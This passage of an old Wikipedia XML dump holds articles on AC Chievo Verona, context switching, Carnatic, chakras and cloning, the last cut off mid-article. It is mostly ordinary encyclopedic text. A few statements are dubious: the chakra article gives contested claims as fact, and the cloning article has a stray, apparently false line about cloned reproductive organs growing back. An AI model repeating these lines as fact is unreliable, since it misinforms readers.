{{Football squad player|no=31|nat=Italy|name=[[Sergio Pellissier]]|pos=FW}}
{{Football squad player|no=33|nat=Italy|name=[[Matteo Brighi]]|pos=MF}}
{{Football squad end}}

==Retired numbers==
* 30 {{flagicon|Democratic Republic of the Congo}} [[Jason Mayélé]], [[Football (soccer) positions#Winger and wide midfielder|left/right winger]], 2001-2002

==Notable former players==
*{{flagicon|Italy}} [[Simone Barone]]
*{{flagicon|Germany}} [[Oliver Bierhoff]]
*{{flagicon|Italy}} [[Eugenio Corini]]
*{{flagicon|Italy}} [[Bernardo Corradi]]
*{{flagicon|Italy}} [[Stefano Fiore]]
*{{flagicon|Italy}} [[Nicola Legrottaglie]]
*{{flagicon|Italy}} [[Massimo Marazzina]]
*{{flagicon|Italy}} [[Luca Marchegiani]]
*{{flagicon|Italy}} [[Simone Perrotta]]

==External links==
*[http://www.chievoverona.it Official site] {{it icon}} {{en icon}}
*[http://digilander.libero.it/chievo_ws/ Chievo fan club West Side] {{it icon}}
*[http://www.amicichievo.it/ Amici Chievo Verona Fansite] {{it icon}}
*[http://www.resultsfromfootball.com/seriea-team/acchievoverona.html Chievo statistics] {{en icon}}

{{Serie A}}

[[Category:Italian football clubs|Chievo]]

[[cs:AC ChievoVerona]]
[[de:AC Chievo Verona]]
[[es:Associazione Calcio Chievo Verona]]
[[fr:Chievo Vérone]]
[[it:Associazione Calcio ChievoVerona]]
[[nl:Chievo Verona]]
[[pl:Chievo Werona]]
[[sv:AC Chievo Verona]]
[[zh:切沃足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>Context switch</title>
    <id>6904</id>
    <revision>
      <id>41714849</id>
      <timestamp>2006-03-01T06:22:32Z</timestamp>
      <contributor>
        <username>Allan McInnes</username>
        <id>647621</id>
      </contributor>
      <comment>+cat concurrent computing</comment>
      <text xml:space="preserve">A '''context switch''' is the [[computing]] process of storing and restoring the state of a [[Central processing unit|CPU]] (the context) such that multiple [[Process (computing)|process]]es can share a single CPU resource. The context switch is an essential feature of a [[computer multitasking|multitasking]] [[operating system]].  Context switches are usually computationally intensive and much of the design of [[operating system]]s is to optimize the use
of context switches. A context switch can mean a register context switch, a task context switch, a thread context switch, or a process context switch.

== When to switch? ==
There are several scenarios where a context switch needs to occur.

=== Multitasking ===
Most commonly, within some [[scheduling]] schema, one process needs to be switched out of the CPU so another process can run. Within a [[preemptive multitasking]] operating system, the scheduler allows every task to run for some certain amount of time, called its ''time slice''.  

However, if a process does not voluntarily yield the CPU (for example, by performing an [[I/O]] operation), a timer interrupt fires, and the operating system schedules another process for execution instead. This ensures that the CPU cannot be monopolized by any one processor-intensive application.

=== Interrupt handling ===
Some architectures (like the [[Intel]] [[x86]] architecture) are [[interrupt]] driven. This means that if the CPU requests data from a disk, for example, it does not need to [[busy-wait]] until the read is over, it can issue the request and continue with some other execution; when the read is over, the CPU can be ''interrupted'' and presented with the read. For interrupts, a short program called an ''[[interrupt handler]]'' is installed, and it is the interrupt handler that handles the interrupt from the disk.

Clearly, there is a necessity to switch contexts when issuing interrupts: so that the interrupt handler can be executed, the state of the currently running process must be suspended.

=== User and kernel mode switching ===
When a transition between [[user mode]] and [[kernel mode]] is required in an operating system, a context switch is not necessary; a mode transition is ''not'' a context switch.

== Context switch: steps ==
In a context switch, the state of the first process must be saved somehow, so that, when the scheduler gets back to the execution of the first process, it can restore this state and continue normally.

The state of the process includes all the registers that the process may be using, especially the [[program counter]], plus any other operating system specific data that may be necessary. Often, all the data that is necessary for state is stored in one data structure, called a ''switchframe'' or a [[process control block]]. 

Now, in order to switch processes, the switchframe for the first process must be created and saved. The switchframes are sometimes stored upon a per-process stack in kernel memory (as opposed to the user-mode stack), or there may be some specific operating system defined data structure for this information.

Since the operating system has effectively suspended the execution of the first process, it can now load the switchframe and context of the second process. In doing so, the program counter from the switchframe is loaded, and thus execution can continue in the new process.

== Software vs hardware context switching ==
Context switching can be performed primarily by software or hardware. Some processors, like the [[Intel]] 80386 and higher CPUs, have hardware support for context switches, by making use of a special data segment designated the [[Task State Segment]] or TSS. When a task switch occurs (implicitly due to a CALL instruction, referring to a [[task gate]], or explicitly due to an interrupt or exception) the [[Central processing unit|CPU]] can automatically load the new state from the TSS. With other tasks performed in hardware, one would expect this to be rather fast; however, mainstream operating systems, including [[Microsoft Windows|Windows]], do not use this feature. This is due mainly to two reasons: that hardware context switching does not save all the registers (only general purpose registers, not [[floating point]] registers), and associated performance issues.

Some architectures contain logic to allow several hardware contexts to exist simultaneously, eliminating the need to store and restore the CPU context to memory on context switch.
The extreme case is the [[barrel processor]] architecture, which switches between threads of execution on every cycle.

[[Category:Operating system technology]]
[[Category:Concurrent computing]]
[[fr:Commutation de contexte]]
[[it:Commutazione di contesto]]</text>
    </revision>
  </page>
  <page>
    <title>Carnatic</title>
    <id>6905</id>
    <revision>
      <id>22051596</id>
      <timestamp>2005-08-28T21:04:57Z</timestamp>
      <contributor>
        <username>Tom Radulovich</username>
        <id>43579</id>
      </contributor>
      <comment>direct link</comment>
      <text xml:space="preserve">'''Carnatic''' may mean:

*[[Carnatic region|Carnatic]], a region of Southern India
*[[Carnatic music]]
*[[SS Carnatic|SS ''Carnatic'']], a shipwrecked steamer

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Chakra</title>
    <id>6907</id>
    <revision>
      <id>42066488</id>
      <timestamp>2006-03-03T16:06:15Z</timestamp>
      <contributor>
        <ip>83.135.211.41</ip>
      </contributor>
      <comment>/* References in fiction */</comment>
      <text xml:space="preserve">:''See also ''[[chakram]]'', a disc-like weapon wielded by the [[Hindu]] god [[Vishnu]].''

In [[Hinduism]] and its spiritual systems of [[yoga]] and in some related eastern cultures, as well as in some segments of the [[New Age]] movement—and to some degree the distinctly different [[New Thought]] movement—'''chakra''' is thought to be an energy node in the [[human body]].

==Introduction==
The word comes from the [[Sanskrit]] ''cakra'' &amp;#2330;&amp;#2325;&amp;#2381;&amp;#2352; meaning &quot;[[wheel]], circle&quot;, and sometimes also referring to the &quot;[[wheel of life]]&quot;. The pronunciation of this word can be approximated in English by ''&lt;u&gt;chuh&lt;/u&gt;kruh'', with ''ch'' as in ''chart'' and both instances of ''a'' as in ''yoga'' (the commonly found pronunciation ''&lt;u&gt;shock&lt;/u&gt;rah'' is incorrect).

[[Image:ChakraDiag.jpg|right]]
The seven main chakras are described as being aligned in an ascending column from the base of the [[spine (anatomy)|spine]] to the top of the head. Each chakra is associated with a certain [[color]], multiple specific functions, an aspect of [[consciousness]], a [[classical element]], and other distinguishing characteristics. 

The chakras are thought to vitalise the physical body and to be associated with interactions of both a physical and mental nature.  They are considered loci of life energy, or [[prana]], which is thought to flow among them along pathways called [[Nadi (yoga)|nadis]].

[[Traditional Chinese medicine]] also relies on a similar model of the human body as an energy system.

The [[New Age]] movement has led to an increased interest in the West regarding chakras. Many in this movement point to a correspondence between the position and role of the Chakras, and those of the glands in the [[endocrine system]]. Some people in New Age also claim that other chakras, besides the above, exist &amp;mdash; for instance, ear chakras. 

The chakras are described in the tantric texts the ''Sat-Cakra-Nirupana'', and the ''Padaka-Pancaka'', in which they are described as emanations of consciousness from Brahman, an energy which comes down from the spiritual and gradually crudifies, creating these distinct levels of chakras, and which eventually finds its rest in the [[Muladhara]] chakra. They are therefore part of an [[emanationist theory]], like that of the [[kabbalah]] in the west, [[lataif-e-sitta]] in [[Sufism]] or [[neo-platonism]]. The energy that was unleashed in creation, called the [[Kundalini]], lies coiled and sleeping, and it is the purpose of a tantric yogi to arouse this energy, and cause it to rise back up through the increasingly subtler chakras, until union with god is achieved in the [[Sahasrara]] chakra at the crown of the head. 

Apart from this primary text from India, different western authors have tried to describe the chakras, most notably the [[Theosophists]]. Many new age writers, such as the Danish author and musician [[Peter Kjaerulff]] in his book, ''The Ringbearers Diary'', or [[Anodea Judith]] in her book ''Wheels of Life'', have written their opinions about the chakras in great detail, including the reasons for their appearance and their functions. 

The seven chakras are said by some to reflect how the unified consciousness of man (the immortal human being or the soul), is divided to manage different aspects of earthly life (body/instinct/vital energy/deeper emotions/communication/having an overview of life/contact to [[God]]). The chakras are placed at differing levels of spiritual subtlety, with [[Sahasrara]] at the top being concerned with pure consciousness, and [[Muladhara]] at the bottom being concerned with matter, which is seen simply as crudified consciousness.

==The seven basic chakras==
The following table sets forth some of the concepts associated with each chakra:

&lt;table border=2&gt;
&lt;tr&gt;&lt;td&gt;'''Chakra'''&lt;/td&gt;&lt;td&gt;'''Color'''&lt;/td&gt;&lt;td&gt;'''Primary Functions'''&lt;/td&gt;&lt;td&gt;'''Associated [[classical element|Element]]'''
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Root&lt;br /&gt;m&amp;#363;l&amp;#257;dh&amp;#257;ra, &amp;#2350;&amp;#2370;&amp;#2354;&amp;#2366;&amp;#2343;&amp;#2366;&amp;#2352;&lt;/td&gt;&lt;td&gt;red&lt;/td&gt;&lt;td&gt;instinct, survival, security&lt;/td&gt;&lt;td&gt;earth
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;[[Sacrum]] (Hara)&lt;br /&gt;sv&amp;#257;dhi&amp;#7779;&amp;#7789;h&amp;#257;na, &amp;#2360;&amp;#2381;&amp;#2357;&amp;#2366;&amp;#2343;&amp;#2367;&amp;#2359;&amp;#2381;&amp;#2336;&amp;#2366;&amp;#2344;&lt;/td&gt;&lt;td&gt;orange&lt;/td&gt;&lt;td&gt;emotion, sexual energy, creativity&lt;/td&gt;&lt;td&gt;water
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;[[Solar plexus]]&lt;br /&gt;ma&amp;#7751;ip&amp;#363;ra, &amp;#2350;&amp;#2339;&amp;#2367;&amp;#2346;&amp;#2370;&amp;#2352;&lt;/td&gt;&lt;td&gt;yellow&lt;/td&gt;&lt;td&gt;mental functioning, power, control, freedom to be oneself, career&lt;/td&gt;&lt;td&gt;fire
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;[[Heart]]/[[Lung]]&lt;br /&gt;an&amp;#257;hata, &amp;#2309;&amp;#2344;&amp;#2366;&amp;#2361;&amp;#2340;&lt;/td&gt;&lt;td&gt;emerald green  or pink&lt;/td&gt;&lt;td&gt;devotion, love, compassion, healing&lt;/td&gt;&lt;td&gt;air
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Throat&lt;br /&gt;vi&amp;#347;uddha, &amp;#2357;&amp;#2367;&amp;#2358;&amp;#2369;&amp;#2342;&amp;#2381;&amp;#2343;&lt;/td&gt;&lt;td&gt;blue&lt;/td&gt;&lt;td&gt;speech, self-expression&lt;/td&gt;&lt;td&gt;life
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;[[Third eye]]&lt;br /&gt;&amp;#257;jñ&amp;#257;, &amp;#2310;&amp;#2332;&amp;#2381;&amp;#2334;&amp;#2366;&lt;/td&gt;&lt;td&gt;indigo&lt;/td&gt;&lt;td&gt;intuition, [[Extra-sensory perception]]&lt;/td&gt;&lt;td&gt;time
&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Crown&lt;br /&gt;&lt;small&gt;(just above the head)&lt;/small&gt;&lt;br /&gt;sahasr&amp;#257;ra, &amp;#2360;&amp;#2361;&amp;#2360;&amp;#2381;&amp;#2352;&amp;#2366;&amp;#2352;&lt;/td&gt;&lt;td&gt;violet; may assume color of dominant chakra&lt;/td&gt;&lt;td&gt;connection to the divine&lt;/td&gt;&lt;td&gt;space
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

For a discussion on chakra petals see [[Petal (chakra)]]

Additionally, there is a [[Transpersonal chakra]] above the crown chakra. There are also many minor chakras, for example between the major chakras.

==Origins and development==
The earliest known mention of chakras is found in the later [[Upanishads]], including specifically the [[Brahma Upanishad]] and the [[Yogatattva Upanishad]]. These vedic models were adapted in [[Tibetan Buddhism]] as [[Vajrayana]] theory, and in the [[Tantra|Tantric]] [[Shakta]] theory of chakras.

It is the [[shakta]] theory of 7 main chakras that most people in the West adhere to, either knowingly or unknowingly, largely thanks to a translation of two indian texts, the ''Sat-Cakra-Nirupana'', and the ''Padaka-Pancaka'', by Sir [[John Woodroffe]], alias Arthur Avalon, in a book entitled ''The Serpent Power''.

This book is extremely detailed and complex, and later the ideas were developed into what is predominant western view of the Chakras by the [[theosophy|Theosophists]], and largely the controversial (in theosophical circles) [[Charles Webster Leadbeater|C. W. Leadbeater]] in his book ''The Chakras'', which are in large part his own meditations and insights on the matter. 

That said, many present-day Indian gurus that incorporate chakras within their systems of philosophy do not seem to radically disagree with the western view of chakras, at least on the key points, and both these eastern and western views have developed from the Shakta Tantra school.

There are various other models of chakras in other traditions, notably in Chinese medicine, and also in Tibetan Buddhism. Even in Jewish [[kabbalah]], the different [[Sephirah (Kabbalah)|Sephiroth]] are sometimes associated with parts of the body. In [[Islam|Islamic]] [[Sufism]] , [[Lataif-e-Sitta]] ( Six Subtleties ) are considered as psychospiritual &quot;organs&quot; or faculties of sensory and suprasensory perception , activation of which makes a man complete . Attempts are made to try and reconcile the systems with each other, and notably there are some successes, even between such diverged traditions as Shakta Tantra , Sufism and Kabbalism, where chakras , lataif and Sephiroth can seemingly represent the same [[archetype|archetypal]] spiritual concepts. In [[Surat Shabd Yoga|Surat Shabda Yoga]], [[Initiation rite|initiation]] by an Outer Living [[Satguru]] (Sat - true, [[Guru]] - teacher) is required and involves reconnecting soul to the Shabda and stationing the Inner Shabda Master (the Radiant Form of the Master) at the [[Mind's eye|third eye]] chakra. 


==Chakras and the endocrine system==
Parallels have often been drawn, by supporters of the existence of chakras, between the positions and functions of the chakras, and of the various organs of the endocrine system.

[[Image:Illu_endocrine_system.jpg]]

'''The highest crown chakra''' is said to be the chakra of consciousness, the master chakra that controls all the others. Its role would be very similar to that of the [[pituitary gland]], which secretes hormones to control the rest of the endocrine system, and also connects to the [[central nervous system]] via the [[hypothalamus]]. The [[thalamus]] is thought to have a key role in the physical basis of [[consciousness]].

'''The Ajna Chakra, or third eye''', is linked to the [[pineal gland]]. Ajna is the chakra of time and awareness and of light. The pineal gland is a light sensitive gland, that produces the hormone [[melatonin]], which regulates the instincts of going to sleep and awakening. It has been conjectured that it also produces trace amounts of the psychedelic chemical [[dimethyltryptamine]].

(Note: some argue that the pineal and pituitary glands should be exchanged in their relationship to the Crown and Brow chakras, based on the description in Arthur Avalon's book on [[kundalini]] called ''Serpent Power'')

'''The throat chakra, Vishuddha''', is said to be related to communication and growth, growth being a form of expression. This chakra is paralleled to the [[thyroid]], a gland that is also in the throat, and which produces [[thyroid hormone]], responsible for growth and maturation. 

'''The heart chakra, Anahata''', is related to love, equilibrium, and well-being. It is related to the [[thymus]], located in the chest. This organ is part of the [[immune system]], as well as being part of the endocrine system. It produces [[T cells]] responsible for fighting off disease, and is adversely affected by [[stress (medicine)|stress]].

'''The solar plexus chakra, Manipura''', is related to energy, assimilation and digestion, and is said to correspond to the roles played by the [[pancreas]] and the outer [[adrenal glands]], the adrenal cortex. These play a valuable role in [[digestion]], the conversion of food matter into energy for the body.

'''The sacral chakra, Swadhisthanna''', is located in the groin, and is related to [[emotion]], [[sexuality]] and creativity. This chakra is said to correspond to the testes or the ovaries, that produce the various [[sex hormones]] involved in the [[reproductive cycle]], which can cause dramatic [[mood swings]].

'''The base or root chakra, Muludhara,''' is related to security, survival and also to basic human potentiality. It is said the [[kundalini]] lies coiled here, ready to uncoil and bring man to his highest spiritual potential in the crown chakra. This centre is located in the region between the genitals and the anus. Although no endocrine organ is placed here, it is said to relate to the inner [[adrenal glands]], the adrenal medulla, responsible for the fight and flight response when survival is under threat. In this region is located a muscle that controls ejaculation in the sexual act. A parallel is drawn between the [[sperm cell]] and the [[ovum]], where the [[genetic code]] lies coiled, and the legendary [[kundalini]], ready to express itself as a fully developed human being.

==Various models==
'''Chakrology''' is a [[neologism]] sometimes employed by [[Alternative Medicine]] practitioners or [[Esotericism|esoteric]] philosophers for the study of chakras. There are many different chakrologies, some of them based on ancient [[India]]n Hindu [[Tantra|Tantric]] esoteric traditions, [[New Age]] interpretations, or Western [[Occultism|occult]] analyses, as well as ancient Greek and [[Christianity|Christian]] references. 

===The tantric chakras===
{{Tantric chakras}}
[[Tantra]] (Shakta or Shaktism) describes eight primary inner chakras:
# [[Sahasrara]] ([[Sanskrit]]: &amp;#2360;&amp;#2361;&amp;#2360;&amp;#2381;&amp;#2352;&amp;#2366;&amp;#2352;)
# [[Ajna]] ([[Sanskrit]]: &amp;#2310;&amp;#2332;&amp;#2381;&amp;#2334;&amp;#2366;)
# [[Vishuddha]] ([[Sanskrit]]: &amp;#2367;&amp;#2357;&amp;#2358;&amp;#2369;&amp;#2342;&amp;#2381;&amp;#2343;)
# [[Anahata]] ([[Sanskrit]]: &amp;#2309;&amp;#2344;&amp;#2366;&amp;#2361;&amp;#2340;)
# [[Manipura]] ([[Sanskrit]]: &amp;#2350;&amp;#2367;&amp;#2339;&amp;#2346;&amp;#2370;&amp;#2352;)
# [[Swadhisthana]] ([[Sanskrit]]: &amp;#2360;&amp;#2381;&amp;#2357;&amp;#2366;&amp;#2367;&amp;#2343;&amp;#2359;&amp;#2381;&amp;#2336;&amp;#2366;&amp;#2344;)
# [[Muladhara]] ([[Sanskrit]]:  &amp;#2350;&amp;#2370;&amp;#2354;&amp;#2366;&amp;#2343;&amp;#2366;&amp;#2352;)
# [[Bindu]] ([[Sanskrit]]: &amp;#2367;&amp;#2348;&amp;#2344;&amp;#2381;&amp;#2342;&amp;#2369;)

===Hesychastic centres of prayer===
[[Hesychasm]] specifies four centres:
# '''Cerebrofrontal centre''': Positioned between the [[eyebrow]]s (compare with [[Ajna]]).
# '''Buccolaryngeal centre'''.
# '''Pectoral centre''': Positioned in the upper and median region of the chest.
# '''Cardiac centre''': Positioned near the upper part of the [[heart]] (compare with [[Anahata]]).

This compares notably with [[Tibetan Buddhism]], in which the sequence of centres is very similar, beginning with the eyebrows and going down to the [[heart]], which symbolizes the highest [[consciousness]].  Varying Tibetan systems, however, use different numbers of centres, typically between 3 and 7, as appropriate for the practice in question.

It is alleged by modern mystics that in [[Hesychasm]], the '''centres of prayer''' were points of [[concentration]] or [[meditation]] on the body to be used during the hesychastic [[prayer]]. This terminology, however, is not used in [[Eastern Orthodoxy|Orthodox Christianity]] and is not and has not been part of hesychastic prayer as practiced within the Orthodox Churches.

==Scientific basis==
The idea of chakras as understood in Eastern philosophy does not exist in Western [[medical science]]. In Eastern thought, the chakras are thought to be levels of [[consciousness]], and states of the [[soul]], and 'proving' the existence of chakras is akin to 'proving' the existence of a soul. A [[mysticism|mystic]] deals with these [[occult]] concepts on the occult plane, as a model for their own internal experience, and when talking about 'energy centres', they are generally talking about subtle, spiritual forces, which work on the [[psyche]] and [[spirit]], not about physical electrical or magnetic fields.

The primary importance and level of existence of chakras is therefore posited to be in the psyche and in the spirit. However, there are those who believe that chakras have a physical manifestation as well. Although there is no evidence that Indian mystics made this association themselves, it is noted by many that there is a marked similarity between the positions and roles described for chakras, and the positions and roles of the glands in the [[endocrine system]], and also by the positions of the [[neuron|nerve]] [[ganglion|ganglia]] (also known as &quot;[[plexus]]es&quot;) along the spinal column, opening the possibility that two vastly different systems of conceptualization have been brought to bear to systemize insights about the same phenomenon. By some, chakras are thought of as having their physical manifestation in the body as these glands, and their subjective manifestation as the associated psychological and spiritual experiences.

Indeed, the various [[hormones]] secreted by these glands do have a dramatic effect on human psychology, and an imbalance in one can cause a psychological or physical imbalance in a person. Whether these changes in body state have a bearing on spiritual matters is a subject of dissent even among the Indian theorists, and the different systems of conceptualization, Indian and Western, make only a partial convergence in this case. 

Perhaps the most psychologically dramatic and potent secretion of these glands is the [[psychedelic]] drug [[dimethyltryptamine|DMT]] (which is synthesized by the [[pineal gland]], corresponding to the brow chakra). At least in the West, some individuals have sought spiritual breakthroughs through the use of such chemical aids, occasionally referred to as [[entheogens]] in this context. (See for example: [[Aldous Huxley]], ''The Doors of Perception'', a classic of new-age spirituality.)

==References in fiction==
Monks in the [[videogames]] [[Final Fantasy Tactics]] and [[Final Fantasy XI]], as well as the character [[Amarant Coral]] in [[Final Fantasy IX]], can use a technique called Chakra for healing and restoring HP or MP.

In the [[manga]]/[[anime]] ''[[Naruto (manga)|Naruto]]'', chakra is the mystical internal energy used to perform various ninja techniques such as ''ninjutsu'' and ''genjutsu''.

In the [[James Bond]] movie ''[[Tomorrow Never Dies]]'', both Dr. Kaufman and his protege [[Mr. Stamper]] practice 'Chakra Torture&quot;.

The Character &quot;Mhenlo&quot; in the online game Guild Wars has written &quot;Baptiste said full chakra&quot; on his inner Torso.

==Reference material and books==
* {{cite book
 | author = Morgen, Robert
 | authorlink = Robert Morgen
 | year = 2005
 | title = Personal Mastery: Develop Your True Inner Power by Awakening Your Kundalini
 | edition = 1st
 | publisher = Windhaven Press
 | id = 1411635884
 | url = http://www.robertmorgen.com
 }}
* {{cite book
 | author = Sharp, Dr. Michael
 | authorlink = Michael Sharp
 | year = 2005
 | title = Dossier of the Ascension: A Practical Guide to Chakra Activation and Kundalini Awakening
 | edition = 1st
 | publisher = Avatar Publications
 | id = 0973537930
 | url = http://dossier.michaelsharp.org
 }}

==See also==
* [[Acupuncture]]
* [[Aura]]
* [[Kirlian photography]]
* [[Kundalini]]
* [[Lataif-e-sitta]]
* [[Qi]]
* [[Qigong]]
* [[Reiki Tummo]]
* [[Tree of life (Kabbalah)]]
* [[Wheel]]
* [[Yoga]]
* [[Meditation]]

==External links==
*[http://healing.about.com/cs/chakras/a/alignchakras.htm Aligning Your Chakras] Chakra resources at About Holistic Healing
*[http://chakracises.com Chakracises] Actions you can take to help get your chakras functioning optimally
*[http://www.robertmorgen.com  Kundalini Awakening with Robert Morgen]
*[http://www.adishakti.org/subtle_system.htm Human Subtle System]
*[https://www.cihs.edu/whatsnew/research.asp Update on research] on Apparatus for Meridian Identification at California Institute for Human Science
*[http://www.sanatansociety.org/chakras/chakras.htm Tantric Chakras]
*[http://www.religiousbook.net/Books/Online_books/Ec/Ecology_35.html Cleansing and development of chakras and meridians]
*[http://www.forthejoyofit.com Western articles and book recommendations for opening each major chakra]
*[http://www.kriya.org/information/info_links/holystreams.htm Jesus may have taught 7 major chakras.  Our awareness may be increased by meditation]

&lt;!-- [[Category:Philosophy]] too general --&gt;
{{yoga}}
{{Hinduism}}

[[Category:Hindu philosophical concepts]]
[[Category:New Age]]
[[Category:Sanskrit terms]]
[[Category:Shabd paths]]
[[Category:Yoga]]

[[ca:Chakra]]
[[da:Chakra]]
[[de:Chakra]]
[[es:Chakra]]
[[fr:Chakra]]
[[it:Chakra]]
[[he:צ'אקרה]]
[[nl:Chakra]]
[[ja:チャクラ]]
[[pl:Czakra]]
[[pt:Chakra]]
[[ru:Чакра]]
[[sl:Čakra]]
[[fi:Chakra]]
[[sv:Chakra]]
[[uk:Чакра]]</text>
    </revision>
  </page>
  <page>
    <title>City of New York/Mayors</title>
    <id>6909</id>
    <revision>
      <id>15905020</id>
      <timestamp>2003-04-06T10:19:26Z</timestamp>
      <contributor>
        <username>Docu</username>
        <id>8029</id>
      </contributor>
      <minor />
      <comment>upd. link</comment>
      <text xml:space="preserve">#REDIRECT [[List of mayors of New York City]]</text>
    </revision>
  </page>
  <page>
    <title>Cloning</title>
    <id>6910</id>
    <revision>
      <id>42055428</id>
      <timestamp>2006-03-03T14:19:40Z</timestamp>
      <contributor>
        <username>Kizor</username>
        <id>26692</id>
      </contributor>
      <minor />
      <comment>rvv (Ask for her risotto recipe)</comment>
      <text xml:space="preserve">'''Cloning''' is the process of creating an identical  copy of an original. A ''clone'' in the [[biology|biological]] sense, therefore, is a single [[Cell (biology)|cell]] (like [[bacteria]], [[lymphocyte]]s etc.) or multi-cellular [[organism]] that is [[genetics|genetically]] identical to another  living organism. Sometimes this can refer to &quot;natural&quot; clones made either when an organism [[asexual reproduction|reproduces asexually]] or when two genetically identical individuals are produced by accident (as with [[identical twins]]), but in common parlance the clone is an identical copy by some conscious design. Also see [[clone (genetics)]].
The term ''clone'' is derived from ''&amp;kappa;&amp;lambda;&amp;omega;&amp;nu;'', the [[Greek language|Greek]] word for &quot;twig&quot;.
In [[horticulture]], the spelling ''clon'' was used until the twentieth century;
the final ''e'' came into use to indicate the vowel is a &quot;long o&quot; instead of a &quot;short o&quot;.
Since the term entered the popular lexicon in a more general context,
the spelling ''clone'' has been used exclusively.

==Cloning in biology==
===Molecular===
Cloning a gene means to extract a gene from one organism (for example by PCR) and insert it into a second organism (usually via a [[vector (biology)|vector]]), where it can be used and studied.  Cloning a gene sometimes can refer to success in identifying a gene associated with some [[phenotype]].  For example, when biologists say that the gene for disease X has been cloned, they mean that the gene's location and DNA sequence has been identified, although the ability to specifically copy the physical DNA is a side-effect of its identification.  A related technique called [[subcloning]] refers to transferring a gene from one plasmid into another for further study. Cloned reproductive organs have been known to be able to grow back if damaged.

===Cellular===
[[Image:Cloning_diagram_english.png|thumb|300px|right|Somatic cell nuclear transfer can create clones for both reproductive and therapeutic purposes. The diagram depicts the removal of the donor nucleus for schematic purposes; in practice the whole donor cell is transferred.]]
Cloning a cell means to derive a population of cells (a clonal population) from a single cell.  This is an important in vitro procedure when the expansion of a single cell with certain characteristics is desired, for example in the production of gene-targeted ES cells.  Most individuals began as a single cell (a zygote) and are therefore the result of clonal expansion in vivo.

Cloning an organism broadly means to create a new organism with the same genetic information as a cell from an existing one. In a modern context, this can involve [[somatic cell nuclear transfer]] in which a cell of the organism to be cloned, with its [[cell nucleus|nucleus]] containing the DNA, is transferred into an [[Ovum|egg]] cell which has had its nucleus removed (currently, both the egg cell and the transferred nucleus must be from the same species). As the nucleus contains almost all of the genetic information of a lifeform, the &quot;host&quot; egg cell will develop into an organism with genetically identical nuclear DNA to the nucleus &quot;donor&quot;. However, this process does not conserve the [[Mitochondrial genome|mitochondrial genome]] unless the nucleus and egg cell donor were the same individual. Thus, nuclear transfer clones are not clones in the strictest sense because the mitochondrial genome is not the same as that of the nucleus donor cell from which it was produced. This may have important implications for cross-species nuclear transfer in which nuclear-mitochondrial incompatibilities may lead to inviability.

The first animal clone was a frog cloned by [[Thomas J. King]] and [[Robert W. Briggs]] in 1952.

===Horticultural===
The term ''clone'' is used in [[horticulture]] to mean all descendants of a single plant, produced by [[vegetative reproduction]]. Many horticultural varieties of plants are clones, having been derived from a single individual, multiplied by some process other than sexual reproduction. As an example, some European varieties of grapes represent clones that have been propagated for over two millennia.  Other such examples are potatoes or bananas. Also [[grafting]] can be regarded as cloning, since all the shoots and branches coming from the graft are genetically a clone of a single individual.   These are genuine examples of cloning in the broader biological sense, as they create genetically identical organisms by biological means, but this particular kind of cloning has not come under [[ethics|ethical]] scrutiny and is generally treated as an entirely different kind of operations.

===Natural clones===
[[Image:RIFA.jpg|frame]]
Cloning exists in nature in some species and is referred to as [[parthenogenesis]]. An example is the &quot;Little [[Fire ant|Fire Ant]],&quot; ''[[Wasmannia auropunctata]]'', which is native to Central and South America but has spread throughout many tropical environments.{{ref|Wasmannia}}   In this species, circumstantial evidence from microsatellite DNA suggests that both queens and males may reproduce clonally in one population in [[Suriname]].

== Species cloned ==
The modern cloning techniques involving nuclear transfers have been successfully performed on several species. Land mark experiments in chronological order:

* [[Tadpole]]: (1951)
* [[Carp]]: (1963) In [[China]], [[embryologist]] [[Tong Dizhou]] cloned a fish. He published the findings in an obscure Chinese science journal which was never translated into English. [http://www.pbs.org/bloodlines/timeline/text_timeline.html]
* [[Sheep]]: (1986) From early embryonic cells by Steen Willadsen.  Megan and Morag cloned from differentiated embryonic cells in June 1995 and Dolly the sheep in 1997.
* [[Rhesus monkey]]: [[Tetra (monkey)|Tetra]] (female, January 2000)
* [[Cattle]]: [[Alpha and Beta]] (males, 2001) and (2005) Brazil [http://en.wikinews.org/wiki/Endangered_cow_cloned_in_Brazil]
* [[Cat]]: [[CopyCat]] &quot;CC&quot; (female, late 2001), [[Little Nicky (cat)|Little Nicky]], 2004, was the first cat cloned for commercial reasons
* [[Mule]]: [[Idaho Gem]], a john mule born May 4, 2003, was the first horse-family clone
* [[Horse]]: [[Prometea]], a Halflinger female born May 28, 2003, was the first horse clone
* [[Human]]: embryo &lt;strike&gt;(2004) in Korea&lt;/strike&gt; (retracted [http://www.nature.com/nature/journal/v439/n7073/full/439122a.html]) and (2005) in Britain 
* [[Dog]]: [[Snuppy]] (2005) at the [[Seoul National University]] in South Korea. [http://www.nature.com/nature/journal/v436/n7051/abs/436641a.html] [http://times.hankooki.com/lpage/tech/200508/kt2005080403360611820.htm]
For a complete list see: [[List of animals that have been cloned]].

==Ethical issues of cloning==

===Christian views===
{{main|Christian views on cloning}}

Christian views of cloning are diverse and sometimes conflicting. 

[[Roman Catholicism]] and other [[conservative Christian]] [[Christian denominations|denominations]] believe that the [[soul]] enters the body at the moment of [[conception]] when the [[sperm]] and [[ovum|egg]] unite. They feel harvesting cells for embryonic cloning is tantamount to live [[human experimentation]] and contrary to God's will. Further, they maintain that producing cloned [[zygotes]] that are unlikely to survive is tantamount to murder. Some Christian conservatives express concern that cloned [[embryo]]s would have no soul, since it was, in their view, born outside of God's parameters.

Other Christian traditions like the [[United Church of Christ]] do not believe a fertilized [[ovum]] constitutes a person. They believe that cloning can be conducted [[ethics|ethically]] in order to help treat [[disease]] and improve the [[public health]].

Now, libertarian views on the subject suggest that it is in a person's constitutional rights to conduct this process, similar to abortion.

== Health aspects ==

